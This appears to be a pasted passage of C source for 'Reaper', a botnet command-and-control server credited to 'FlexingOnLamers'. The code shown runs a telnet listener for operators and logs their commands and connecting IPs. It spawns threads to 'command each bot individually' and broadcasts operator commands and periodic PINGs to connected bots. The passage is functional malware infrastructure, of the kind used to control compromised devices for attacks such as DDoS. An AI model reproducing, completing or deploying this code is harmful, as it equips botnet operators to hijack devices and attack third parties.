  1072. printf("\x1b[1;37m[\x1b[0;31mReaper\x1b[1;37m] User:[\x1b[0;36m%s\x1b[1;37m] - Command:\x1b[1;37m[\x1b[0;36m%s\x1b[1;37m]\n",accounts[find_line].user, buf);
  1073. FILE *logFile;
  1074. logFile = fopen("server.log", "a");
  1075. fprintf(logFile, "\x1b[1;37m[\x1b[0;31mReaper\x1b[1;37m] User:[\x1b[0;36m%s\x1b[1;37m] - Command:\x1b[1;37m[\x1b[0;36m%s\x1b[1;37m]\n", accounts[find_line].user, buf);
  1076. fclose(logFile);
  1077. broadcast(buf, thefd, usernamez);
  1078. memset(buf, 0, 2048);
  1079. } // Let Us Continue Our Journey!
  1080. end: // cleanup dead socket
  1081. managements[thefd].connected = 0;
  1082. close(thefd);
  1083. managesConnected--;
  1084. }
  1085.  
  1086. void *telnetListener(int port)
  1087. {
  1088. int sockfd, newsockfd;
  1089. socklen_t clilen;
  1090. struct sockaddr_in serv_addr, cli_addr;
  1091. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  1092. if (sockfd < 0) perror("ERROR opening socket");
  1093. bzero((char *) &serv_addr, sizeof(serv_addr));
  1094. serv_addr.sin_family = AF_INET;
  1095. serv_addr.sin_addr.s_addr = INADDR_ANY;
  1096. serv_addr.sin_port = htons(port);
  1097. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("\x1b[1;37m[\x1b[0;31mReaper\x1b[1;37m] Screening Error");
  1098. listen(sockfd,5);
  1099. clilen = sizeof(cli_addr);
  1100. while(1)
  1101. { printf("\x1b[1;37m[\x1b[0;31mReaper\x1b[1;37m] Incoming Connection From ");
  1102.  
  1103. client_addr(cli_addr);
  1104. FILE *logFile;
  1105. logFile = fopen("IP.log", "a");
  1106. fprintf(logFile, "\x1b[1;37m[\x1b[0;31mReaper\x1b[1;37m] Incoming Connection From [\x1b[0;36m%d.%d.%d.%d\x1b[1;37m]\n",cli_addr.sin_addr.s_addr & 0xFF, (cli_addr.sin_addr.s_addr & 0xFF00)>>8, (cli_addr.sin_addr.s_addr & 0xFF0000)>>16, (cli_addr.sin_addr.s_addr & 0xFF000000)>>24);
  1107. fclose(logFile);
  1108. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  1109. if (newsockfd < 0) perror("ERROR on accept");
  1110. pthread_t thread;
  1111. pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  1112. }
  1113. }
  1114.  
  1115. int main (int argc, char *argv[], void *sock)
  1116. {
  1117. signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  1118. int s, threads, port;
  1119. struct epoll_event event;
  1120. if (argc != 4)
  1121. {
  1122. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  1123. exit (EXIT_FAILURE);
  1124. }
  1125. port = atoi(argv[3]);
  1126. threads = atoi(argv[2]);
  1127. if (threads > 1000)
  1128. {
  1129. printf("\x1b[1;37m[\x1b[0;31mReaper\x1b[1;37m] Thread Limit Exceeded! Please Lower Threat Count!\n");
  1130. return 0;
  1131. }
  1132. else if (threads < 1000)
  1133. {
  1134. printf("");
  1135. }
  1136. printf("\x1b[1;37m[\x1b[0;31mReaper\x1b[1;37m] Successfully Screened - Created By [\x1b[0;36mFlexingOnLamers\x1b[1;37m]\n");
  1137. listenFD = create_and_bind(argv[1]); // try to create a listening socket, die if we can't
  1138. if (listenFD == -1) abort();
  1139.  
  1140. s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  1141. if (s == -1) abort();
  1142.  
  1143. s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  1144. if (s == -1)
  1145. {
  1146. perror ("listen");
  1147. abort ();
  1148. }
  1149. epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
  1150. if (epollFD == -1)
  1151. {
  1152. perror ("epoll_create");
  1153. abort ();
  1154. }
  1155. event.data.fd = listenFD;
  1156. event.events = EPOLLIN | EPOLLET;
  1157. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  1158. if (s == -1)
  1159. {
  1160. perror ("epoll_ctl");
  1161. abort ();
  1162. }
  1163. pthread_t thread[threads + 2];
  1164. while(threads--)
  1165. {
  1166. pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  1167. }
  1168. pthread_create(&thread[0], NULL, &telnetListener, port);
  1169. while(1)
  1170. {
  1171. broadcast("PING", -1, "STRING");
  1172. sleep(60);
  1173. }
  1174. close (listenFD);
  1175. return EXIT_SUCCESS;
  1176. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement